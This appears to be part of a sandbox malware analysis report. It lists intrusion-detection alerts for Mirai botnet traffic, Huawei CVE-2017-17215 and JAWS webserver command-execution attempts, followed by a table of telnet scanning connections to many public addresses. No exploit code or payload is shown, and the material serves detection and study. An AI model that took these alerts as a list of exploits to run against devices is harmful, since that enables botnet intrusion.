2024-12-27T05:02:50.935177+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35634	79.117.36.116	443	TCP
2024-12-27T05:02:50.935264+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58212	37.221.47.40	443	TCP
2024-12-27T05:02:50.935288+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50572	2.141.112.242	443	TCP
2024-12-27T05:02:50.935342+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51390	109.2.18.133	443	TCP
2024-12-27T05:02:50.935384+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43602	79.141.28.208	443	TCP
2024-12-27T05:02:50.935423+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33534	212.181.236.170	443	TCP
2024-12-27T05:02:50.935443+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47168	94.204.32.24	443	TCP
2024-12-27T05:02:50.935494+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40276	212.8.35.3	443	TCP
2024-12-27T05:02:50.935531+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54674	210.20.42.251	443	TCP
2024-12-27T05:02:50.935564+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47200	2.136.69.150	443	TCP
2024-12-27T05:02:50.935616+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48306	212.173.139.86	443	TCP
2024-12-27T05:02:50.935651+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56356	42.54.192.220	443	TCP
2024-12-27T05:02:50.935695+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33894	118.125.145.2	443	TCP
2024-12-27T05:02:50.935712+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37338	94.189.246.132	443	TCP
2024-12-27T05:02:50.935751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50946	117.173.197.150	443	TCP
2024-12-27T05:02:50.935799+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49366	123.74.229.203	443	TCP
2024-12-27T05:02:50.935833+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45042	5.188.22.2	443	TCP
2024-12-27T05:02:50.935907+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50814	210.197.41.68	443	TCP
2024-12-27T05:02:50.935938+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54298	202.68.103.45	443	TCP
2024-12-27T05:02:50.935999+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54244	212.166.185.113	443	TCP
2024-12-27T05:02:50.936012+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35438	148.112.199.224	443	TCP
2024-12-27T05:02:50.936051+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53158	148.159.246.178	443	TCP
2024-12-27T05:02:50.936108+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44510	5.153.22.141	443	TCP
2024-12-27T05:02:51.693624+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38306	117.122.210.121	443	TCP
2024-12-27T05:02:51.693676+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46284	148.179.162.252	443	TCP
2024-12-27T05:02:51.853614+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45350	212.19.68.20	443	TCP
2024-12-27T05:02:51.885563+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57260	212.189.193.93	443	TCP
2024-12-27T05:02:51.885591+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60496	42.115.143.75	443	TCP
2024-12-27T05:02:51.917582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39932	123.200.14.224	443	TCP
2024-12-27T05:02:51.949560+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33428	94.57.180.144	443	TCP
2024-12-27T05:02:51.949589+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49326	2.181.94.12	443	TCP
2024-12-27T05:02:51.949752+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48568	178.89.3.203	443	TCP
2024-12-27T05:02:53.872204+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48832	202.218.34.65	443	TCP
2024-12-27T05:02:53.872269+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47650	148.4.14.33	443	TCP
2024-12-27T05:02:53.872279+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34902	37.113.112.26	443	TCP
2024-12-27T05:02:53.872333+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44182	109.140.219.87	443	TCP
2024-12-27T05:02:53.872357+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38382	210.22.84.182	443	TCP
2024-12-27T05:02:53.872413+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46352	109.184.85.55	443	TCP
2024-12-27T05:02:53.872439+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55000	123.232.214.93	443	TCP
2024-12-27T05:02:53.872495+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40138	5.3.56.22	443	TCP
2024-12-27T05:02:53.872583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47330	178.188.213.115	443	TCP
2024-12-27T05:02:53.901217+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60680	123.154.135.31	443	TCP
2024-12-27T05:02:53.901390+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42882	2.172.17.28	443	TCP
2024-12-27T05:02:53.933228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46844	109.111.162.164	443	TCP
2024-12-27T05:02:53.933286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47588	117.111.182.109	443	TCP
2024-12-27T05:02:53.933313+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58246	210.94.33.7	443	TCP
2024-12-27T05:02:53.965335+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38858	5.194.114.237	443	TCP
2024-12-27T05:03:03.068828+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54634	197.8.1.173	37215	TCP
2024-12-27T05:03:03.120294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60768	156.239.181.133	37215	TCP
2024-12-27T05:03:03.327923+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49266	197.4.231.227	37215	TCP
2024-12-27T05:03:04.402014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59988	156.236.238.227	37215	TCP
2024-12-27T05:03:06.992057+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58362	212.180.190.229	443	TCP
2024-12-27T05:03:06.992089+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47228	210.216.140.200	443	TCP
2024-12-27T05:03:06.992114+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45566	212.102.7.31	443	TCP
2024-12-27T05:03:07.031199+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53226	197.249.38.43	37215	TCP
2024-12-27T05:03:11.918200+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52416	222.148.200.84	80	TCP
2024-12-27T05:03:11.918200+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52416	222.148.200.84	80	TCP
2024-12-27T05:03:18.753821+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56206	150.9.19.87	80	TCP
2024-12-27T05:03:18.753821+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56206	150.9.19.87	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 05:02:50.620925903 CET	14219	23	192.168.2.23	111.171.211.121
Dec 27, 2024 05:02:50.621009111 CET	14219	23	192.168.2.23	66.178.90.7
Dec 27, 2024 05:02:50.621016979 CET	14219	23	192.168.2.23	64.105.230.170
Dec 27, 2024 05:02:50.621016979 CET	14219	23	192.168.2.23	87.108.35.242
Dec 27, 2024 05:02:50.621016979 CET	14219	23	192.168.2.23	108.185.146.220
Dec 27, 2024 05:02:50.621016979 CET	14219	23	192.168.2.23	24.43.4.118
Dec 27, 2024 05:02:50.621021986 CET	14219	23	192.168.2.23	83.220.255.252
Dec 27, 2024 05:02:50.621028900 CET	14219	23	192.168.2.23	75.228.162.90
Dec 27, 2024 05:02:50.621052980 CET	14219	23	192.168.2.23	176.95.184.114
Dec 27, 2024 05:02:50.621057034 CET	14219	23	192.168.2.23	163.46.45.222
Dec 27, 2024 05:02:50.621057987 CET	14219	23	192.168.2.23	192.80.81.191
Dec 27, 2024 05:02:50.621057987 CET	14219	23	192.168.2.23	144.68.60.194
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	125.250.197.121
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	38.135.222.122
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	177.36.87.195
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	159.104.11.120
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	178.164.96.155
Dec 27, 2024 05:02:50.621068001 CET	14219	23	192.168.2.23	116.177.40.227
Dec 27, 2024 05:02:50.621089935 CET	14219	23	192.168.2.23	106.28.102.166
Dec 27, 2024 05:02:50.621093988 CET	14219	23	192.168.2.23	43.210.101.106
Dec 27, 2024 05:02:50.621095896 CET	14219	23	192.168.2.23	115.20.14.7
Dec 27, 2024 05:02:50.621095896 CET	14219	23	192.168.2.23	17.137.93.191
Dec 27, 2024 05:02:50.621102095 CET	14219	23	192.168.2.23	171.149.171.185
Dec 27, 2024 05:02:50.621123075 CET	14219	23	192.168.2.23	149.180.223.140
Dec 27, 2024 05:02:50.621154070 CET	14219	23	192.168.2.23	155.230.88.18
Dec 27, 2024 05:02:50.621155024 CET	14219	23	192.168.2.23	205.29.32.83
Dec 27, 2024 05:02:50.621155024 CET	14219	23	192.168.2.23	13.165.4.44
Dec 27, 2024 05:02:50.621155024 CET	14219	23	192.168.2.23	111.59.28.84
Dec 27, 2024 05:02:50.621156931 CET	14219	23	192.168.2.23	70.218.238.232
Dec 27, 2024 05:02:50.621155024 CET	14219	23	192.168.2.23	67.17.182.33
Dec 27, 2024 05:02:50.621157885 CET	14219	23	192.168.2.23	42.30.119.150
Dec 27, 2024 05:02:50.621179104 CET	14219	23	192.168.2.23	118.240.163.51
Dec 27, 2024 05:02:50.621179104 CET	14219	23	192.168.2.23	141.138.207.154
Dec 27, 2024 05:02:50.621191025 CET	14219	23	192.168.2.23	106.220.242.7
Dec 27, 2024 05:02:50.621191025 CET	14219	23	192.168.2.23	90.107.242.142
Dec 27, 2024 05:02:50.621191025 CET	14219	23	192.168.2.23	1.247.10.115
Dec 27, 2024 05:02:50.621192932 CET	14219	23	192.168.2.23	52.209.64.182
Dec 27, 2024 05:02:50.621193886 CET	14219	23	192.168.2.23	45.153.57.167
Dec 27, 2024 05:02:50.621193886 CET	14219	23	192.168.2.23	66.78.172.93
Dec 27, 2024 05:02:50.621196985 CET	14219	23	192.168.2.23	70.143.50.3
Dec 27, 2024 05:02:50.621196985 CET	14219	23	192.168.2.23	73.51.62.27
Dec 27, 2024 05:02:50.621198893 CET	14219	23	192.168.2.23	106.25.137.6
Dec 27, 2024 05:02:50.621198893 CET	14219	23	192.168.2.23	147.254.133.248
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	104.60.59.154
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	96.187.23.8
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	200.7.229.156
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	187.242.93.96
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	52.54.31.42
Dec 27, 2024 05:02:50.621205091 CET	14219	23	192.168.2.23	89.1.149.227
Dec 27, 2024 05:02:50.621220112 CET	14219	23	192.168.2.23	221.171.1.243
Dec 27, 2024 05:02:50.621234894 CET	14219	23	192.168.2.23	162.55.19.102
Dec 27, 2024 05:02:50.621238947 CET	14219	23	192.168.2.23	157.151.214.214
Dec 27, 2024 05:02:50.621244907 CET	14219	23	192.168.2.23	182.86.94.240
Dec 27, 2024 05:02:50.621244907 CET	14219	23	192.168.2.23	112.21.162.239
Dec 27, 2024 05:02:50.621254921 CET	14219	23	192.168.2.23	197.153.175.49
Dec 27, 2024 05:02:50.621254921 CET	14219	23	192.168.2.23	89.79.204.80
Dec 27, 2024 05:02:50.621254921 CET	14219	23	192.168.2.23	24.173.202.253
Dec 27, 2024 05:02:50.621257067 CET	14219	23	192.168.2.23	60.47.97.82
Dec 27, 2024 05:02:50.621260881 CET	14219	23	192.168.2.23	25.90.230.229
Dec 27, 2024 05:02:50.621262074 CET	14219	23	192.168.2.23	70.230.103.60
Dec 27, 2024 05:02:50.621262074 CET	14219	23	192.168.2.23	207.178.237.172
Dec 27, 2024 05:02:50.621262074 CET	14219	23	192.168.2.23	180.221.29.157
Dec 27, 2024 05:02:50.621275902 CET	14219	23	192.168.2.23	114.143.85.160
Dec 27, 2024 05:02:50.621275902 CET	14219	23	192.168.2.23	133.19.237.32
Dec 27, 2024 05:02:50.621277094 CET	14219	23	192.168.2.23	114.209.82.161
Dec 27, 2024 05:02:50.621278048 CET	14219	23	192.168.2.23	123.183.12.248
Dec 27, 2024 05:02:50.621279955 CET	14219	23	192.168.2.23	27.124.8.121
Dec 27, 2024 05:02:50.621279955 CET	14219	23	192.168.2.23	13.230.102.222
Dec 27, 2024 05:02:50.621279955 CET	14219	23	192.168.2.23	145.123.81.132
Dec 27, 2024 05:02:50.621283054 CET	14219	23	192.168.2.23	184.173.36.137
Dec 27, 2024 05:02:50.621284008 CET	14219	23	192.168.2.23	115.31.31.246
Dec 27, 2024 05:02:50.621311903 CET	14219	23	192.168.2.23	87.201.13.97
Dec 27, 2024 05:02:50.621311903 CET	14219	23	192.168.2.23	126.244.4.26
Dec 27, 2024 05:02:50.621320009 CET	14219	23	192.168.2.23	220.186.111.243
Dec 27, 2024 05:02:50.621320009 CET	14219	23	192.168.2.23	103.224.246.176
Dec 27, 2024 05:02:50.621320009 CET	14219	23	192.168.2.23	171.222.126.194
Dec 27, 2024 05:02:50.621325970 CET	14219	23	192.168.2.23	139.215.149.29
Dec 27, 2024 05:02:50.621325970 CET	14219	23	192.168.2.23	151.129.52.113
Dec 27, 2024 05:02:50.621325970 CET	14219	23	192.168.2.23	166.155.179.166
Dec 27, 2024 05:02:50.621328115 CET	14219	23	192.168.2.23	14.89.43.177
Dec 27, 2024 05:02:50.621328115 CET	14219	23	192.168.2.23	217.199.74.83
Dec 27, 2024 05:02:50.621330976 CET	14219	23	192.168.2.23	9.74.195.71
Dec 27, 2024 05:02:50.621330976 CET	14219	23	192.168.2.23	27.80.109.214
Dec 27, 2024 05:02:50.621330976 CET	14219	23	192.168.2.23	191.254.207.152
Dec 27, 2024 05:02:50.621330976 CET	14219	23	192.168.2.23	81.64.196.111
Dec 27, 2024 05:02:50.621330976 CET	14219	23	192.168.2.23	159.17.219.231
Dec 27, 2024 05:02:50.621332884 CET	14219	23	192.168.2.23	168.126.168.133
Dec 27, 2024 05:02:50.621332884 CET	14219	23	192.168.2.23	83.88.244.3
Dec 27, 2024 05:02:50.621332884 CET	14219	23	192.168.2.23	105.226.238.160
Dec 27, 2024 05:02:50.621332884 CET	14219	23	192.168.2.23	59.136.6.35
Dec 27, 2024 05:02:50.621335030 CET	14219	23	192.168.2.23	161.45.68.62
Dec 27, 2024 05:02:50.621383905 CET	14219	23	192.168.2.23	34.237.86.243
Dec 27, 2024 05:02:50.621385098 CET	14219	23	192.168.2.23	123.187.112.3
Dec 27, 2024 05:02:50.621388912 CET	14219	23	192.168.2.23	131.105.232.54
Dec 27, 2024 05:02:50.621388912 CET	14219	23	192.168.2.23	17.1.7.194
Dec 27, 2024 05:02:50.621388912 CET	14219	23	192.168.2.23	62.112.197.52
Dec 27, 2024 05:02:50.621388912 CET	14219	23	192.168.2.23	95.20.105.110
Dec 27, 2024 05:02:50.621390104 CET	14219	23	192.168.2.23	25.4.133.99
Dec 27, 2024 05:02:50.621390104 CET	14219	23	192.168.2.23	86.141.21.229
Dec 27, 2024 05:02:50.621391058 CET	14219	23	192.168.2.23	170.162.24.128
Dec 27, 2024 05:02:50.621391058 CET	14219	23	192.168.2.23	219.219.241.175
Dec 27, 2024 05:02:50.621392012 CET	14219	23	192.168.2.23	105.108.225.56
Dec 27, 2024 05:02:50.621392965 CET	14219	23	192.168.2.23	68.9.244.211
Dec 27, 2024 05:02:50.621392965 CET	14219	23	192.168.2.23	142.23.53.249
Dec 27, 2024 05:02:50.621395111 CET	14219	23	192.168.2.23	5.173.80.161
Dec 27, 2024 05:02:50.621395111 CET	14219	23	192.168.2.23	191.132.8.84
Dec 27, 2024 05:02:50.621424913 CET	14219	23	192.168.2.23	86.237.68.165
Dec 27, 2024 05:02:50.621434927 CET	14219	23	192.168.2.23	135.28.74.47
Dec 27, 2024 05:02:50.621437073 CET	14219	23	192.168.2.23	19.73.231.141
Dec 27, 2024 05:02:50.621439934 CET	14219	23	192.168.2.23	4.226.123.169
Dec 27, 2024 05:02:50.621450901 CET	14219	23	192.168.2.23	18.21.169.234
Dec 27, 2024 05:02:50.621474028 CET	14219	23	192.168.2.23	14.182.125.80
Dec 27, 2024 05:02:50.621474028 CET	14219	23	192.168.2.23	73.217.28.171
Dec 27, 2024 05:02:50.621475935 CET	14219	23	192.168.2.23	128.195.37.177
Dec 27, 2024 05:02:50.621478081 CET	14219	23	192.168.2.23	186.36.26.176
Dec 27, 2024 05:02:50.621478081 CET	14219	23	192.168.2.23	35.239.141.12
Dec 27, 2024 05:02:50.621479988 CET	14219	23	192.168.2.23	172.47.223.50
Dec 27, 2024 05:02:50.621483088 CET	14219	23	192.168.2.23	5.116.1.178
Dec 27, 2024 05:02:50.621483088 CET	14219	23	192.168.2.23	37.34.109.178
Dec 27, 2024 05:02:50.621483088 CET	14219	23	192.168.2.23	41.191.95.46
Dec 27, 2024 05:02:50.621488094 CET	14219	23	192.168.2.23	223.48.70.168
Dec 27, 2024 05:02:50.621488094 CET	14219	23	192.168.2.23	172.91.180.187
Dec 27, 2024 05:02:50.621490002 CET	14219	23	192.168.2.23	164.30.193.209
Dec 27, 2024 05:02:50.621499062 CET	14219	23	192.168.2.23	188.71.80.172
Dec 27, 2024 05:02:50.621500969 CET	14219	23	192.168.2.23	46.203.107.46
Dec 27, 2024 05:02:50.621512890 CET	14219	23	192.168.2.23	86.125.69.87
Dec 27, 2024 05:02:50.621517897 CET	14219	23	192.168.2.23	8.80.24.13
Dec 27, 2024 05:02:50.621551037 CET	14219	23	192.168.2.23	166.241.132.49
Dec 27, 2024 05:02:50.621551037 CET	14219	23	192.168.2.23	135.37.32.240
Dec 27, 2024 05:02:50.621566057 CET	14219	23	192.168.2.23	148.151.0.193
Dec 27, 2024 05:02:50.621567965 CET	14219	23	192.168.2.23	148.225.92.73
Dec 27, 2024 05:02:50.621568918 CET	14219	23	192.168.2.23	134.225.147.85
Dec 27, 2024 05:02:50.621572018 CET	14219	23	192.168.2.23	168.126.16.41
Dec 27, 2024 05:02:50.621572018 CET	14219	23	192.168.2.23	122.150.254.178
Dec 27, 2024 05:02:50.621572018 CET	14219	23	192.168.2.23	177.31.213.6
Dec 27, 2024 05:02:50.621572018 CET	14219	23	192.168.2.23	108.116.107.203
Dec 27, 2024 05:02:50.621577978 CET	14219	23	192.168.2.23	9.198.192.72
Dec 27, 2024 05:02:50.621579885 CET	14219	23	192.168.2.23	166.83.212.118
Dec 27, 2024 05:02:50.621581078 CET	14219	23	192.168.2.23	212.115.215.225
Dec 27, 2024 05:02:50.621581078 CET	14219	23	192.168.2.23	53.33.20.36
Dec 27, 2024 05:02:50.621582031 CET	14219	23	192.168.2.23	117.249.104.9
Dec 27, 2024 05:02:50.621582985 CET	14219	23	192.168.2.23	173.15.153.123
Dec 27, 2024 05:02:50.621582985 CET	14219	23	192.168.2.23	19.224.205.208
Dec 27, 2024 05:02:50.621582985 CET	14219	23	192.168.2.23	79.204.76.35
Dec 27, 2024 05:02:50.621587038 CET	14219	23	192.168.2.23	57.152.34.81
Dec 27, 2024 05:02:50.621587038 CET	14219	23	192.168.2.23	179.84.84.22
Dec 27, 2024 05:02:50.621587038 CET	14219	23	192.168.2.23	206.240.57.165
Dec 27, 2024 05:02:50.621591091 CET	14219	23	192.168.2.23	174.92.77.213
Dec 27, 2024 05:02:50.621592999 CET	14219	23	192.168.2.23	4.13.61.51
Dec 27, 2024 05:02:50.621594906 CET	14219	23	192.168.2.23	62.238.22.145
Dec 27, 2024 05:02:50.621629000 CET	14219	23	192.168.2.23	190.125.91.49
Dec 27, 2024 05:02:50.621670961 CET	14219	23	192.168.2.23	160.188.133.118
Dec 27, 2024 05:02:50.621674061 CET	14219	23	192.168.2.23	124.150.189.125
Dec 27, 2024 05:02:50.621674061 CET	14219	23	192.168.2.23	209.145.124.175
Dec 27, 2024 05:02:50.621674061 CET	14219	23	192.168.2.23	18.95.125.50
Dec 27, 2024 05:02:50.621675014 CET	14219	23	192.168.2.23	13.21.88.151
Dec 27, 2024 05:02:50.621684074 CET	14219	23	192.168.2.23	217.218.162.14
Dec 27, 2024 05:02:50.621685028 CET	14219	23	192.168.2.23	178.78.170.251
Dec 27, 2024 05:02:50.621684074 CET	14219	23	192.168.2.23	24.119.115.69
Dec 27, 2024 05:02:50.621685028 CET	14219	23	192.168.2.23	9.212.97.191
Dec 27, 2024 05:02:50.621685028 CET	14219	23	192.168.2.23	109.2.196.242
Dec 27, 2024 05:02:50.621689081 CET	14219	23	192.168.2.23	200.136.164.57
Dec 27, 2024 05:02:50.621689081 CET	14219	23	192.168.2.23	211.150.6.161
Dec 27, 2024 05:02:50.621689081 CET	14219	23	192.168.2.23	23.217.235.161
Dec 27, 2024 05:02:50.621690035 CET	14219	23	192.168.2.23	130.144.186.207
Dec 27, 2024 05:02:50.621690989 CET	14219	23	192.168.2.23	223.221.250.189
Dec 27, 2024 05:02:50.621689081 CET	14219	23	192.168.2.23	53.40.187.32
Dec 27, 2024 05:02:50.621690989 CET	14219	23	192.168.2.23	50.158.120.166
Dec 27, 2024 05:02:50.621689081 CET	14219	23	192.168.2.23	166.180.108.6
Dec 27, 2024 05:02:50.621690989 CET	14219	23	192.168.2.23	213.75.123.212
Dec 27, 2024 05:02:50.621690989 CET	14219	23	192.168.2.23	57.86.75.7
Dec 27, 2024 05:02:50.621707916 CET	14219	23	192.168.2.23	46.164.188.148
Dec 27, 2024 05:02:50.621712923 CET	14219	23	192.168.2.23	98.216.84.234
Dec 27, 2024 05:02:50.621715069 CET	14219	23	192.168.2.23	207.149.10.155
Dec 27, 2024 05:02:50.621718884 CET	14219	23	192.168.2.23	145.23.122.37
Dec 27, 2024 05:02:50.621720076 CET	14219	23	192.168.2.23	171.46.8.145
Dec 27, 2024 05:02:50.621718884 CET	14219	23	192.168.2.23	23.208.101.177
Dec 27, 2024 05:02:50.621720076 CET	14219	23	192.168.2.23	23.240.210.235
Dec 27, 2024 05:02:50.621718884 CET	14219	23	192.168.2.23	124.247.213.44
Dec 27, 2024 05:02:50.621720076 CET	14219	23	192.168.2.23	128.189.15.80
Dec 27, 2024 05:02:50.621733904 CET	14219	23	192.168.2.23	151.143.5.41
Dec 27, 2024 05:02:50.621733904 CET	14219	23	192.168.2.23	196.45.18.129
Dec 27, 2024 05:02:50.621735096 CET	14219	23	192.168.2.23	154.59.171.36
Dec 27, 2024 05:02:50.621735096 CET	14219	23	192.168.2.23	205.202.12.239
Dec 27, 2024 05:02:50.621736050 CET	14219	23	192.168.2.23	201.216.69.82
Dec 27, 2024 05:02:50.621736050 CET	14219	23	192.168.2.23	52.239.32.189
Dec 27, 2024 05:02:50.621737003 CET	14219	23	192.168.2.23	52.121.103.249
Dec 27, 2024 05:02:50.621738911 CET	14219	23	192.168.2.23	184.49.23.90
Dec 27, 2024 05:02:50.621742010 CET	14219	23	192.168.2.23	36.147.121.122
Dec 27, 2024 05:02:50.621742010 CET	14219	23	192.168.2.23	158.110.93.91
Dec 27, 2024 05:02:50.621742010 CET	14219	23	192.168.2.23	142.93.11.254
Dec 27, 2024 05:02:50.621742010 CET	14219	23	192.168.2.23	64.10.99.151
Dec 27, 2024 05:02:50.621742010 CET	14219	23	192.168.2.23	200.81.186.114
Dec 27, 2024 05:02:50.621750116 CET	14219	23	192.168.2.23	91.35.147.13
Dec 27, 2024 05:02:50.621752977 CET	14219	23	192.168.2.23	108.78.239.90
Dec 27, 2024 05:02:50.621783018 CET	14219	23	192.168.2.23	200.22.223.112
Dec 27, 2024 05:02:50.621792078 CET	14219	23	192.168.2.23	62.49.202.199
Dec 27, 2024 05:02:50.621794939 CET	14219	23	192.168.2.23	209.50.157.119
Dec 27, 2024 05:02:50.621794939 CET	14219	23	192.168.2.23	44.47.184.43
Dec 27, 2024 05:02:50.621794939 CET	14219	23	192.168.2.23	189.33.60.170
Dec 27, 2024 05:02:50.621794939 CET	14219	23	192.168.2.23	100.234.121.255
Dec 27, 2024 05:02:50.621797085 CET	14219	23	192.168.2.23	153.77.161.24
Dec 27, 2024 05:02:50.621800900 CET	14219	23	192.168.2.23	212.56.37.144
Dec 27, 2024 05:02:50.621800900 CET	14219	23	192.168.2.23	58.215.175.238
Dec 27, 2024 05:02:50.621803045 CET	14219	23	192.168.2.23	106.166.217.114
Dec 27, 2024 05:02:50.621803045 CET	14219	23	192.168.2.23	101.221.212.32
Dec 27, 2024 05:02:50.621808052 CET	14219	23	192.168.2.23	136.242.65.52
Dec 27, 2024 05:02:50.621822119 CET	14219	23	192.168.2.23	183.56.170.33
Dec 27, 2024 05:02:50.621822119 CET	14219	23	192.168.2.23	76.150.172.148
Dec 27, 2024 05:02:50.621828079 CET	14219	23	192.168.2.23	209.147.114.60
Dec 27, 2024 05:02:50.621835947 CET	14219	23	192.168.2.23	5.62.2.67
Dec 27, 2024 05:02:50.621908903 CET	14219	23	192.168.2.23	122.161.187.162
Dec 27, 2024 05:02:50.621916056 CET	14219	23	192.168.2.23	118.136.188.232
Dec 27, 2024 05:02:50.621916056 CET	14219	23	192.168.2.23	1.103.163.184
Dec 27, 2024 05:02:50.621916056 CET	14219	23	192.168.2.23	83.147.138.49
Dec 27, 2024 05:02:50.621921062 CET	14219	23	192.168.2.23	187.175.68.110
Dec 27, 2024 05:02:50.621921062 CET	14219	23	192.168.2.23	1.59.31.233
Dec 27, 2024 05:02:50.621921062 CET	14219	23	192.168.2.23	219.80.126.30
Dec 27, 2024 05:02:50.621922016 CET	14219	23	192.168.2.23	122.36.191.211
Dec 27, 2024 05:02:50.621925116 CET	14219	23	192.168.2.23	177.223.235.67
Dec 27, 2024 05:02:50.621925116 CET	14219	23	192.168.2.23	204.183.215.96
Dec 27, 2024 05:02:50.621925116 CET	14219	23	192.168.2.23	125.91.180.12
Dec 27, 2024 05:02:50.621925116 CET	14219	23	192.168.2.23	86.123.86.224
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	218.174.50.188
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	175.76.236.36
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	119.171.60.174
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	83.178.91.50
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	71.142.214.198
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	180.129.179.42
Dec 27, 2024 05:02:50.621927023 CET	14219	23	192.168.2.23	158.106.44.64
Dec 27, 2024 05:02:50.621931076 CET	14219	23	192.168.2.23	99.16.165.160
Dec 27, 2024 05:02:50.621939898 CET	14219	23	192.168.2.23	145.91.46.30
Dec 27, 2024 05:02:50.621939898 CET	14219	23	192.168.2.23	64.56.4.72
Dec 27, 2024 05:02:50.621942043 CET	14219	23	192.168.2.23	195.218.243.16
Dec 27, 2024 05:02:50.621942043 CET	14219	23	192.168.2.23	201.65.170.226
